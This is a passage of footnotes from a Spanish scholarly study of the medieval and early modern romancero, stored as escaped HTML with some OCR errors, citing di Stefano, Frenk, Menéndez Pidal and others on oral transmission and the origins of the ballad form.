\u00abPr\u00f3logo\u00bb. En <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Siete libros sobre la m\u00fasica. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Alpuerto. Madrid, 1983, trad. de 1. Fern\u00e1ndez de la Cuesta, p\u00e1g. 21: \u00abCon raz\u00f3n tiene la primac\u00eda, entre todas las animadas, la voz del hombre, pues s\u00f3lo ella posee la facultad de hablar y de cantar. S\u00f3lo puede decirse del hombre que canta y habla, porque de los dem\u00e1s animales, cuando se dice que cantan, es por analog\u00eda y semejanza, de la misma manera que tambi\u00e9n de los prados y los arroyos se dice que r\u00eden. Pues bien, para ejercer estos dos oficios de cantar y hablar, ya desde muy antiguo se vio la necesidad de unir el estudio de la m\u00fasica al de la gram\u00e1tica. [ &#8230; ] De la misma manera, no tiene raz\u00f3n de ser el habla si en \u00e9l no hay nada que decir, si hay en las palabras acento que expresar, y si las s\u00edlabas no tienen su cantidad correspondiente, para que se guarde siempre la entonaci\u00f3n de la frase y la mayor o menor brevedad o morosidad necesaria de cada una de las s\u00edlabas\u00bb [La versi\u00f3n latina original es <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>De musica libri septem, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Salamanca, 1577]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 26: \u00abSu cara [respecto a las ventajas y perjuicios de la labor de los m\u00fasicos] es la documentaci\u00f3n de notas y melod\u00edas nuevas o tradicionales, y de las muchas huellas de romances y cantarcillos que s\u00f3lo por esa v\u00eda se han conservado. Su cruz es la cita fragmentaria; y tambi\u00e9n cierto destrozo que sobre los textos se permit\u00edan vihuelistas y guitarristas, para adap<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ados y a veces abreviados seg\u00fan las exigencias de su arte [oo.]\u00bb. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frenk, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 18. En cuanto al campo recepcional del romance afirma di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 13-14: \u00abPara los r\u00fasticos y analfabetos, cerca del 90 por 100 de los espa\u00f1oles entre el XV y el XVI, quedaba -am\u00e9n de un uso indindirecto del escrito tr\u00e1mite la asistencia a lecturas colectivas- esencialmente la transmisi\u00f3n oral, que era la m\u00e1s propia y universal del romance, poes\u00eda cantada o recitada con acompa\u00f1amiento musical; por <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tanto, poes\u00eda destinada a una condici\u00f3n textual de movilidad y fluidez, que s\u00f3lo muy p\u00e1lidamente se trasluce de <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">seleccionado y fijado por la imprenta. As\u00ed que solamente de la voz de los &#8216;r\u00fasticos&#8217; de hoy, siempre menos, nos llegan las supervivencias orales directas del romancero antiguo\u00bb. Poco m\u00e1s adelante (p\u00e1g. 17), di Stefano justifica la extensi\u00f3n del romance a un p\u00fablico culto: \u00abPuede bastar aquel cuaderno de apuntes de un estudiante de derecho que, acogiendo el \u00abGentil dona\u00bb, documen<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a un cuarto de siglo antes de la frase del marqu\u00e9s el deleite de un individuo culto por un texto que, por &#8216;plebeyo&#8217; que fuera en su forma, no <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">10 <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">era en el esp\u00edritu que hab\u00eda sugerido y orquestado su invenci\u00f3n. Tan es as\u00ed que recien<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">emente se han reunido argumentos para sostener la hip\u00f3tesis de una difusi\u00f3n e incluso de una g\u00e9nesis de ese <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romance <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y de alg\u00fan otro en medios universi<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">arios espa\u00f1oles de Bolonia\u00bb. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Frenk, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 46. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Id. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>lb id. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 47. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Men\u00e9ndez Pidal, R.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero hisp\u00e1nico <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(2 vols.). Espasa-Calpe. Madrid, 1968, vol. <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><b>1, <\/b><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 5. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Alvar, M.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. xxxii. Por supuesto, esta problem\u00e1tica obedece al planteamietno de la teor\u00eda tradicionalista, no a la individualista, postulada por autores como Fou1ch\u00e9-Delbosc o Salverda de Grave, por citar a los m\u00e1s anti<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">g<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">uos. Men\u00e9ndez Pidal explica ilustrativamente esta posici\u00f3n: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">El experto music\u00f3logo Jules Tiersot, autor de la <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Histoire de la chanson populaire en France, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1892, al publicar la obra p\u00f3stuma de Georges Doncieux, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romanc\u00e9ro populaire de la France, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1904, enuncia como principio de l\u00f3gica evidente y de sentido com\u00fan, que \u00abun canto, popular o no, tiene siempre una fecha, un autor, una patria\u00bb. Por esto la tarea dell~terato y, aunque con muchas m\u00e1s dificultades, la del music\u00f3logo, consistir\u00e1, seg\u00fan Doncieux la practica, para descubrir a trav\u00e9s de ellas \u00abel original\u00bb, restaurarlo, fijar el lugar donde se escribi\u00f3 la poes\u00eda, determinar la fecha, y llegar a descubrir cuanto m\u00e1s se pueda la probable personalidad del autor [ &#8230; ]; utiliza Doncieux tal vez 30 \u00f3 60 versio<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">n<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">es, pero no las publica, porque le basta aprovechar de cada una lo que estima originario, omitiendo lo dem\u00e1s como alteraci\u00f3n bastarda y desechable. Doncieux titula la reconstrucci\u00f3n as\u00ed hecha \u00abtexto cr\u00edtico\u00bb, queriendo llegar con \u00e9l a la canci\u00f3n \u00abtal como por primera vez sali\u00f3 de boca del cantor\u00bb [Men\u00e9ndez Pidal, R.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero hisp\u00e1nico, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., p\u00e1g. 35]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Hoy se tiende a una conciliaci\u00f3n eclecticista de ambas posiciones, en tanto que \u00abel cambio de uso de los largos <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>cantares de gesta <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">pudo ser fen\u00f3meno aut\u00f3nomo, pero es m\u00e1s que veros\u00edmil que acusara alguna influencia del nuevo g\u00e9nero; y \u00e9ste tuvo ciertamente un papel determinante en ofrecer un cauce formal a los &#8216;fragmentos&#8217; de los <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>cantares, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tanto para que consolidaran su independencia como para promoverla\u00bb [di Stefano, G.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1gs. 42-43]. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Vid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">respecto a la misma cuesti\u00f3n, Armistead, S.G.: \u00abNeo Individualism and the <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero\u00bb Romance Philology, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">XXXIII (1979), p\u00e1gs. 172-181, Y Caso Gonz\u00e1lez, J.; \u00abTradicionalidad e indivilualismo en la estructura de un romance\u00bb. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Cuadernos Hispanoamericanos, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">238-240 (1969), p\u00e1gs. 217-226. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Rico, F.: \u00abLos or\u00edgenes de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Fontefrida <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y el primer romancero trovadoresco\u00bb. Een Rico, F.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Texto y contextos. Estudios sobre la poes\u00eda espa<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00f1<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>ola del siglo XV. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Cr\u00edtica, Barcelona, 1990, p\u00e1gs. 1-32; Aubrun, Ch. V.: \u00abLe romance \u00abGentil dona, gentil dona\u00bb. Une \u00e9nigme litt\u00e9raire\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Iberorromania, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">18 (1983), p\u00e1gs. 1-8; Levi, E.: \u00abEl romance florentino de Jaume de Olesa\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Revista de Filolog\u00eda Espa\u00f1ola, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">XIV (1927), p\u00e1gs. 134-160; y Spitzer, L.: \u00abNotas sobre romances espa\u00f1oles. <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">1: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Observaciones sobre el romance florentino de Jaume de Olesa y del infante Arnaldos\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Revista de Filolog\u00eda Espa\u00f1ola, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">XXII (1935), p\u00e1gs. 153-174. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">En palabras de G. di Stefano, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 14: \u00abCon <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romancero viejo <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>antiguo, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">a veces <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>primitivo, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">se delimita el n\u00facleo supuestamente originario del g\u00e9nero; es tambi\u00e9n el que se ha tradicional izado. No tuvo suerte id\u00e9ntica, por razones obvias y con rar\u00edsimas excepciones, el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romancero <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">art\u00edstico que sali\u00f3 de las escuelas cultas: de las l\u00edricas, como el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>trovadoresco <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">entre los siglos XV y XVI y el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>nuevo <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">entre los siglos XVI Y XVII, Y de las narrativas, como el <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>cron\u00edstico <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">o <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>erudito <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">y variadamente hist\u00f3rico-\u00e9pico\u00bb; abundando en estos \u00faltimos, \u00abel hecho de ser compilada en una impresionante serie se\u00f1ala una diferencia b\u00e1sica con el romancero tradicional. Pues el romance nuevo, si bien nacido y difundido al son de la m\u00fasica, tiende ahora a ser poes\u00eda le\u00edda. <\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\">Y <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">se imprime para fijar un texto dentro de las posibles variantes que causaban adaptadores y m\u00fasicos\u00bb. [Carre\u00f1o, A.: \u00abIntroducci\u00f3n\u00bb. En L. de G\u00f3ngora, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romances. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">C\u00e1tedra. Madrid, 1982, p\u00e1g. 24]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Ibid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 22. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Id. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>L<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>iteratura y folklore, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit. p\u00e1g. 49. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Muy reveladoras resultan las palabras de G. di Stefano, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>op. cit. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 43, respecto a ciertos juicios del fil\u00f3logo: \u00abLa cuesti\u00f3n de las influencias entre las \u00abescue<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">l<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">as\u00bb est\u00e1 bien presente en las reflexiones de Men\u00e9ndez Pidal, que, sin embargo, opta por dejar en vago el punto. Si habla de \u00abuna acci\u00f3n lenta y difusa de los modelos l\u00edricos\u00bb (1: 107), usa un plural gen\u00e9rico que no parece referido a una forma <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romance <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">de la \u00abescuela l\u00edrico-novelesca\u00bb\u00bb. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>En cuanto al per\u00edodo de formaci\u00f3n del romance, afirma G. di Stefano, op. cit., <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00e1g. 35: \u00abA quien observara que el lapso de tiempo que va de 1421 hacia atr\u00e1s al siglo XIII cubre una \u00e9poca densa de romances que se quedar\u00eda excluida por la fecha tard\u00eda, es f\u00e1cil contestar que -de momento- esos decenios son densos exclusivamente en temas y sucesos que han entrado en romances, y no en textos~ y, a la vista tanto de antiguas como de muy recientes inquietudes y propuestas cr\u00edticas, podr\u00edamos contestar que incluso la fecha de la segunda mitad del siglo XIII provocar\u00eda tal vez exclusiones: parece que va creciendo el n\u00famero de quienes detectan indicios de <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romances <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">en papeles de decenios an<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">t<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">es\u00bb~ para concluir decididamente <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(ibid., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 36) que \u00abantes de 1421 no hay datos ni hip\u00f3tesis que puedan considerarse pertinentes a la forma <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>romance\u00bb. <\/i><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero tradicional de las lenguas hisp\u00e1nicas (espa\u00f1ol, portugu\u00e9s, catal\u00e1n, sefard\u00ed). <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Seminario Men\u00e9ndez Pidal\/Espasa-Calpe. Madrid, 1971, p\u00e1g. 46. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">La tesis que postula un romancero andaluz ha sido acertadamente contestada, a nuestro juicio, con las siguientes palabras: <\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">\u00abPuede y debe hablarse de un romancero conservado en Andaluc\u00eda, que desde el punto de vista tem\u00e1tico es el mismo que se canta en el resto de la pen\u00ednsula. Los temas, pues, pertenecen a la comunidad hisp\u00e1nica, y cuando unos temas, como los fronterizos, por poner un ejemplo, aparecen por unos hechos concretos y en zonas determinadas, se extienden por toda la geograf\u00eda hisp\u00e1nica sin reti<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">c<\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">encias de exclusivismos regionales. Son de todos. Se puede hablar, desde luego, de las peculiaridades del romancero andaluz frente al de otras zonas\u00bb [Pi\u00f1ero, P.M. y Atero, V.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero andaluz de tradici\u00f3n oral. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">Editoriales Andaluzas Unidas. Sevilla, 1986. p\u00e1g. 27]. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: xx-small\"><i>lb id. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 28. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Id. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Men\u00e9ndez Pidal, R.: <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Flor nueva de romances VieJOS. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Espasa-Calpe. Madrid, 1989, p\u00e1g. 58. Respecto al amor ad\u00faltero o no consagrado como necesidad para satisfacer el sentimiento amoroso acallado por un matrimonio impuesto cfr. Rougemont, D. de: <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>El amor <\/i><\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: xx-small\"><i>y <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Occidente. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Kair\u00f3s. Barcelona, 1979. p\u00e1gs. 59-44. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>S<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>on de se\u00f1alar, como m\u00ednimo, los siguientes estudios: Crivill\u00e9 i Bargall\u00f3, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>J.: <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>\u00abTipolog\u00edas formales de t&#8217;radici\u00f3n oral aplicadas al romance \u00abGerineldo: el Paje y la Infanta\u00bb\u00bb, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Anuario Musical, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>42 (1987), p\u00e1g. 59-69~ Cruz, AQ.J.: \u00abThe Princess and the Page. Social Transgression and Marriage in the Spanish BaIlad Gerineldos\u00bb, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>ARV. Scandinavian Yearbook of Folklore, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>46 (1990), p\u00e1gs. 33-46~ Schiavo, L.: \u00abApuntes para un estudio de las \u00abtransformaciones\u00bb en el romance de <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Gerineldo\u00bb, El Romancero hoy <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(3 vols.). Gredos. Madrid, 1979, vol. III, p\u00e1gs 183-195~ Y Otto, H.: \u00abLa tradition d&#8217;Eginhard et Emma dans la po\u00e9sie romancesca de la p\u00e9ninsule Hispanique\u00bb, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Modern Language Notes, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>VII (1982), p\u00e1gs. 225-243. <\/i><\/span><\/span><\/span><\/span><\/p>\n<p align=\"justify\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">(35) Men\u00e9ndez Pidal, R.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Romancero hisp\u00e1nico, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">ed. cit., vol. I. p\u00e1gs. 40-43~ <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>vid. <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">tambi\u00e9n Frenk, M.: \u00abLa poes\u00eda oralizada y sus mil variantes\u00bb, <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>Anuario de Le<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>t<\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>ras, <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">XXIX (1991b). p\u00e1gs. 133-144. <\/span><\/span><\/span><\/span><\/p>\n<p align=\"left\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: medium\"><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>(36) Romancero General, <\/i><\/span><\/span><span style=\"font-family: Arial,serif\"><span style=\"font-size: small\"><b>1, <\/b><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">BAE X, p\u00e1g. lxxiv. (37) Men\u00e9ndez Pidal, R.: <\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\"><i>loco cit., <\/i><\/span><\/span><span style=\"font-family: Times New Roman,serif\"><span style=\"font-size: small\">p\u00e1g. 45. 